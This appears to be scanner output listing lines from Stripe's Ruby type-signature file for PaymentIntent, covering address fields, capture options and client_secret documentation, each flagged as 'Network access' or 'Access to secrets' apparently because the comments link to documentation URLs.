def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 321
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 331
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 332
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 333
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 345
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 346
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 347
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 357
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 358
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 359
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 403
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 404
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 405
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 415
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 416
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 417
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 429
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 430
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 431
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 441
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 442
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 443
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 463
sig { returns(String) } def bic; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 464
def bic; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 465
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 484
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 485
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 486
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 496
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 497
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 498
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 510
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 511
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 512
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 522
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 523
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 524
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 562
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 563
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 564
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 574
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 575
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 576
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 588
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 589
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 590
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 600
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 601
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 602
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 643
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 644
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 645
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 655
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 656
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 657
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 669
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 670
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 671
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 681
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 682
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 683
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 727
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 728
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 729
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 739
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 740
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 741
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 753
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 754
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 755
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 765
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 766
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 767
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 853
sig { returns(T.nilable(Integer)) } def amount_remaining; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currenc - Network accessline 854
def amount_remaining; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String - Network accessline 855
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1675
# Installment details for this payment. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1676
# # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). sig { returns(T.nilable(Installments)) } - Network accessline 1677
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1684
sig { returns(T.nilable(String)) } def network; end # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. - Network accessline 1685
def network; end # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 1686
# Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. - Network accessline 1687
sig { returns(T.nilable(String)) } def request_extended_authorization; end # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent. - Network accessline 1688
def request_extended_authorization; end # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 1689
# Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent. - Network accessline 1690
sig { returns(T.nilable(String)) } def request_incremental_authorization; end # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent. - Network accessline 1691
def request_incremental_authorization; end # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 1692
# Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent. - Network accessline 1693
sig { returns(T.nilable(String)) } def request_multicapture; end # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. - Network accessline 1694
def request_multicapture; end # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 1695
# Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. - Network accessline 1696
sig { returns(T.nilable(String)) } def request_overcapture; end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](h - Network accessline 1697
def request_overcapture; end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-auth - Network accessline 1698
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1739
sig { returns(T.nilable(String)) } def capture_method; end # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#autho - Network accessline 1740
def capture_method; end # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) sig { returns(T. - Network accessline 1741
# Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1742
sig { returns(T.nilable(T::Boolean)) } def request_extended_authorization; end # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of M - Network accessline 1743
def request_extended_authorization; end # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [increment - Network accessline 1744
# Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe. - Network accessline 2859
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2860
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2861
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2871
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2872
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 2873
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2905
class TransferData < ::Stripe::StripeObject # The amount transferred to the destination account. This transfer will occur automatically after the payment succeeds. If no amount is specified, by default the entire payment amount is tra - Network accessline 2906
# The amount transferred to the destination account. This transfer will occur automatically after the payment succeeds. If no amount is specified, by default the entire payment amount is transferred to the destination account. # The - Network accessline 2907
# The amount must be less than or equal to the [amount](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-amount), and must be a positive integer - Network accessline 2919
end end # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or - Network accessline 2920
end # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to - Network accessline 2921
# Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥ - Network accessline 2934
sig { returns(T.nilable(T.any(String, ::Stripe::Application))) } def application; end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe - Network accessline 2935
def application; end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped - Network accessline 2936
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 2937
sig { returns(T.nilable(Integer)) } def application_fee_amount; end # Settings to configure compatible payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods) - Network accessline 2938
def application_fee_amount; end # Settings to configure compatible payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods) sig { returns(T.nilable(AutomaticPaymentMethods)) } - Network accessline 2939
# Settings to configure compatible payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods) - Network accessline 2953
# The client secret can be used to complete a payment from your frontend. It should not be stored, logged, or exposed to anyone other than the customer. Make sure that you have TLS enabled on any page that includes the client secret. # - Network accessline 2954
# # Refer to our docs to [accept a payment](https://docs.stripe.com/payments/accept-a-payment?ui=elements) and learn about how `client_secret` should be handled. sig { returns(T.nilable(String)) } - Network accessline 2955
[Credential-related source omitted] - Access to secretsline 2955
[Credential-related source omitted] - Access to secretsline 2957
[Credential-related source omitted] - Network accessline 2962
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2963
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 2964
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2969
# Payment methods attached to other Customers cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 2970
# # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent - Network accessline 2971
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be - Network accessline 2976
# Payment methods attached to other Accounts cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 2977
# # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent h - Network accessline 2978
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee - Network accessline 2994
sig { returns(T.nilable(LastPaymentError)) } def last_payment_error; end # ID of the latest [Charge object](https://docs.stripe.com/api/charges) created by this PaymentIntent. This property is `null` until PaymentIntent confirmation - Network accessline 2995
def last_payment_error; end # ID of the latest [Charge object](https://docs.stripe.com/api/charges) created by this PaymentIntent. This property is `null` until PaymentIntent confirmation is attempted. sig { returns(T.nilable(T.any( - Network accessline 2996
# ID of the latest [Charge object](https://docs.stripe.com/api/charges) created by this PaymentIntent. This property is `null` until PaymentIntent confirmation is attempted. - Network accessline 3000
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 3001
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Learn more about [storin - Network accessline 3002
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Learn more about [storing information in metad - Network accessline 3019
sig { returns(T.nilable(T.any(String, ::Stripe::PaymentMethod))) } def payment_method; end # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this PaymentIntent - Network accessline 3020
def payment_method; end # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this PaymentIntent. sig { returns(T.nilable(PaymentMethodConfigurationDetails)) } - Network accessline 3021
# Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this PaymentIntent. - Network accessline 3025
sig { returns(T.nilable(PaymentMethodOptions)) } def payment_method_options; end # The list of payment method types (e.g. card) that this PaymentIntent is allowed to use. A comprehensive list of valid payment method types can be fou - Network accessline 3026
def payment_method_options; end # The list of payment method types (e.g. card) that this PaymentIntent is allowed to use. A comprehensive list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods - Network accessline 3027
# The list of payment method types (e.g. card) that this PaymentIntent is allowed to use. A comprehensive list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type). - Network accessline 3034
sig { returns(T.nilable(Processing)) } def processing; end # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of - Network accessline 3035
def processing; end # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.str - Network accessline 3036
# Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails). - Network accessline 3057
} def source; end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the - Network accessline 3058
def source; end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-cha - Network accessline 3059
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 3060
# # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. sig { returns(T.nilable(String)) - Network accessline 3061
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 3062
sig { returns(T.nilable(String)) } def statement_descriptor; end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descripto - Network accessline 3063
def statement_descriptor; end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete stateme - Network accessline 3064
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 3065
sig { returns(T.nilable(String)) } def statement_descriptor_suffix; end # Status of this PaymentIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `requires_capture`, `canceled`, or ` - Network accessline 3066
def statement_descriptor_suffix; end # Status of this PaymentIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `requires_capture`, `canceled`, or `succeeded`. Read more about each Paymen - Network accessline 3067
# Status of this PaymentIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `requires_capture`, `canceled`, or `succeeded`. Read more about each PaymentIntent [status](https://docs.stripe.com/ - Network accessline 3068
sig { returns(String) } def status; end # The data that automatically creates a Transfer after the payment finalizes. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 3069
def status; end # The data that automatically creates a Transfer after the payment finalizes. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). sig { returns(T.nilable(Trans - Network accessline 3070
# The data that automatically creates a Transfer after the payment finalizes. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 3071
sig { returns(T.nilable(TransferData)) } def transfer_data; end # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-cha - Network accessline 3072
def transfer_data; end # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers). sig { returns(T.nila - Network accessline 3073
# A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers). - Network accessline 3088
# You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing. - Network accessline 3090
# After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re - Network accessline 3091
# # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead. sig { - Network accessline 3092
# You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead. - Network accessline 3098
# You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing. - Network accessline 3100
# After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re - Network accessline 3101
# # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead. sig { - Network accessline 3102
# You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead. - Network accessline 3110
# Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation. # # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 3111
# # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). sig { - Network accessline 3112
# Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 3120
# Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation. # # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 3121
# # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). sig { - Network accessline 3122
# Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 3139
# # If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 3140
# If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) # and the PaymentIntent's [client_secret](https://docs.stripe - Network accessline 3141
# using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 3142
[Credential-related source omitted] - Access to secretsline 3142
[Credential-related source omitted] - Network accessline 3174
# # If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 3175
# If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) # and the PaymentIntent's [client_secret](https://docs.stripe - Network accessline 3176
# using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 3177
[Credential-related source omitted] - Access to secretsline 3177
[Credential-related source omitted] - Network accessline 3198
# Creates a PaymentIntent object. # # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 3199
# # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) # to continue the payment. Learn more about <a href="/docs/payments/payment-intents">the availab - Network accessline 3200
# After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 3204
# When you use confirm=true during creation, it's equivalent to creating # and confirming the PaymentIntent in the same call. You can use any parameters # available in the [confirm API](https://docs.stripe.com/docs/api/payment_inten - Network accessline 3205
# and confirming the PaymentIntent in the same call. You can use any parameters # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply # confirm=true. - Network accessline 3206
# available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply - Network accessline 3213
# Perform an incremental authorization on an eligible # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 3214
# [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 3215
